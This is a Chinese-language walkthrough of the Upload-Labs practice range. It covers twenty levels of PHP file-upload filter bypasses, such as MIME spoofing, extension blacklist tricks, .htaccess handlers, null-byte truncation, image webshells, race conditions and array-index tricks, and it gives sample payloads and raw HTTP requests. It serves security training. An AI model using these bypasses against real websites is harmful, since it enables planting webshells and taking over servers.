The writeup of UploadLab.
Upload-Labs
Info.php 代码为
<?php
phpinfo();
?>
Pass-01
随便上传一个 shell 发现回显
该文件不允许上传,请上传.jpg|.png|.gif类型的文件,当前文件类型为:.php
发现是个前端检查,改成.jpg
绕过,用 burp 抓包再改成.php
即可
Pass-02
上传 info.php 发现回显
提示:文件类型不正确,请重新上传!
抓包将修改上传文件字段:
Content-Type: image/jpeg
Pass-03
上传 info.php 发现回显
提示:不允许上传.asp,.aspx,.php,.jsp后缀文件!
黑名单绕过,将后缀名改成
filename="shell.php5"
apache 的httpd.conf
中有如下配置代码
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
Pass-04
上传 info.php 发现回显
此文件不允许上传!
但是上传一个图片发现是没有改文件名的。看代码发现几乎所有能用的后缀名都进了黑名单,唯独没有.htaccess
,于是我们可以上传.htaccess
,文件内容如下
SetHandler application/x-httpd-php
可以将当前目录下所有文件都当作 php 文件处理,这时候传个改了后缀的 php 文件就好
Pass-05
虽然.htaccess
被过滤了,但是审计代码发现转换大小写,可以用大小写绕过
filename="info.PHP"
Pass-06
发现少了trim()
函数,没有进行去空处理,后缀加个空格就好了
filename="info.php "
Pass-07
发现没有去除末尾的点,所以我们可以用info.php.
来绕过,在 windows 环境下,会自动去掉后缀名中最后的.
Pass-08
发现没有去除::$DATA
,可以在末尾添加::$DATA
,这个在 windows 环境下也会解析。
Pass-09
这里用info.php. .
绕过,注意中间有一个空格。
$file_name = trim($_FILES['upload_file']['name']); //info.php. .
$file_name = deldot($file_name);//删除文件名末尾的点 //info.php.空格
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name; // UPLOAD_PATH/.info.php.空格
}
同样,windows 环境下自动忽略末尾的.
与空格
Pass-10
置换了关键字,可以双写绕过,但是注意顺序,例如info.pphphp
,因为phphpp
这样会置换第一个php
为空,就形成了后缀.hpp
Pass-11
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
从源代码可以发现,虽然用了白名单模式,但是我们可以控制上传路径,利用CVE-2015-2348进行 00 截断
漏洞影响版本必须在5.4.x<= 5.4.39,5.5.x<= 5.5.23,5.6.x <= 5.6.7
POST /Pass-11/index.php?save_path=../upload/test.php%00 HTTP/1.1
Host: localhost:8002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8002/Pass-11/index.php
Content-Type: multipart/form-data; boundary=---------------------------1397349150366000458976532598
Content-Length: 356
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1397349150366000458976532598
Content-Disposition: form-data; name="upload_file"; filename="info.jpg"
Content-Type: text/php
<?php
phpinfo();
?>
-----------------------------1397349150366000458976532598
Content-Disposition: form-data; name="submit"
上传
-----------------------------1397349150366000458976532598--
Pass-12
只是把11中的路径改成了$_POST['save_path']
,方法无异
Pass-13
找几个 png 、 jpg 或者 gif 图片直接用echo "<?php phpinfo();?>" >> xxx.jpg
就可以做成图片马了,直接用文件包含漏洞即可
Pass-14
和13一样,只不过13 check 前面两字节的数据头,14用了以下代码更为严格,但是我们用13的方法是在图片末尾追加的代码段,整个图片还是个完整的图片没有被破坏,也就绕过了检测
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
Pass-15
同14关
Pass-16
这里考察的是二次渲染的绕过,用 GIF 绕过会相对比较简单,直接在GIF98a
下面加入 php 代码即可
Pass-17
比较典型的条件竞争
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
从代码看,因为先移动文件到 upload 文件夹然后判断后缀再删除,是可以通过一定的时间差来访问自己上传的文件导致写入 shell 的。可以上传
<?php file_put_contents("shell.php","<?php phpinfo();?>");?>
这样只要一次访问成功该 php 文件,即可拿到 shell
Pass-18
与17问题类似,在移动后再改名可能被会有条件竞争的漏洞
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
讲道理这里我看很多师傅用的是传图片马,但是需要利用到文件包含,而作者意思我觉得肯定不是这样的,否则用竞争来干嘛?直接传个图片马不就好了,反正最后都会返回文件名。
这里个人觉得预期解是通过 Apache 解析漏洞来配合条件竞争利用的。
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php。
所以我们传个.php.7z
为后缀的文件,再通过条件竞争去访问这个文件就可以写入 shell 了。
Pass-19
利用pathinfo
的特性绕过
var_dump(pathinfo("/testweb/test.txt/.",PATHINFO_EXTENSION));
string(0) ""
var_dump(pathinfo('/testweb/test.php\00.jpg',PATHINFO_EXTENSION));
string(3) "jpg"
当然也可以利用\00
绕过,move_uploaded_file
会忽略后面的.jpg
Pass-20
源代码
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
这里主要是利用了一个end
与count
的函数特性,根据 php 文档
end
(PHP 4, PHP 5, PHP 7)
end — 将数组的内部指针指向最后一个单元
count
(PHP 4, PHP 5, PHP 7)
count — 计算数组中的单元数目,或对象中的属性个数
这里我们就看得更清楚了,end
取的是最后一个元素,无论下标是什么,而count($arr)-1
取的是下标为为最后的元素,例如下面这段代码
<?php
$arr = array("0"=>"jpg", "2"=>"php", "1"=>"jpg");
var_dump(end($arr));
var_dump($arr[count($arr) - 1]);
string(3) "jpg"
string(3) "php"
我们创建了一个数组,数组顺序不是按照寻常的顺序的,我们故意把最后一个元素排在了前面一位的话,这样end
就取到了jpg
后缀,这样我们就可以利用$_POST[save_name]
来绕过最后后缀检测了
POST /Pass-20/index.php?action=show_code HTTP/1.1
Host: localhost:8002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://localhost:8002/Pass-20/index.php?action=show_code
Content-Type: multipart/form-data; boundary=---------------------------137136829317924008472127919060
Content-Length: 617
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="upload_file"; filename="info.jpg"
Content-Type: image/gif
<?php
phpinfo();
?>
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="save_name[1]"
upload-20.php
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="save_name[0]"
jpg
-----------------------------137136829317924008472127919060
Content-Disposition: form-data; name="submit"
上传
-----------------------------137136829317924008472127919060--
这里需要注意的是,save_name[0]
放jpg
就好了,否则$ext
拿到的是upload-20.jpg
,这样整个字符串就会进入!in_array($ext, $allow_suffix)
这个判断里面了。
Conclusion
这个靶场还是挺好的,总结得都相当不错。如果能配合更多的中间件解析漏洞来做的话会更棒,因为很多时候我们做到的仅仅是上传一个 jpg 啥的,如果配合解析漏洞或者文件包含,可以进一步扩大杀伤力。